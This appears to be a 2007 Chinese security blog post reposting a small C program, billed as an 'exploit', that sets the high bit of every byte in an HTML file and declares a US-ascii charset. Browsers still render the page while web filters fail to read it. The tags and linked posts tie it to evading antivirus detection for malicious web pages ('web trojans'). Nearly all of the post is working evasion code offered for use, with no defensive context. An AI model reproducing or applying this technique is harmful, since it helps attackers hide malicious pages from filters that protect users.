ascii.c
Post by amxku on 2007-02-01, 16:57. 技术相关
来源:
http://xdiyer.cn/?id=174
#include <stdio.h>
int main(int argc,char** argv)
{
FILE *fp;
char ch;
printf("\n-- Bypassing of web filters by using ascii Exploit By CoolDiyer --\n");
if(argc<2){
printf("\nUsage: \n\t %s srcfile >destfile\n",argv[0]);
return -1;
}
if((fp=fopen(argv[1],"r"))==NULL){
printf("File %s open Error",argv[1]);
return -1;
}//指定编码为US-ascii是必须的
printf("\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=US-ascii\" />\n<title>Bypassing of web filters by using ascii Exploit By CoolDiyer</title>\n</head><body>\n");
while((ch=fgetc(fp))!=EOF){
ch|=0x80; //把7位变成8位,这句话是核心,解密时用 ch&=0x7f
printf("%c",ch);
};
fclose(fp);
printf("\n</body></html>\n");
return -1;
}
Tags: 免杀破解, ascii
Address: http://www.amxku.net/ascii-Crack/
上一篇 »» MS07004变形网马
下一篇 »» Apache VirtualHost Examp...
相关文章
发表评论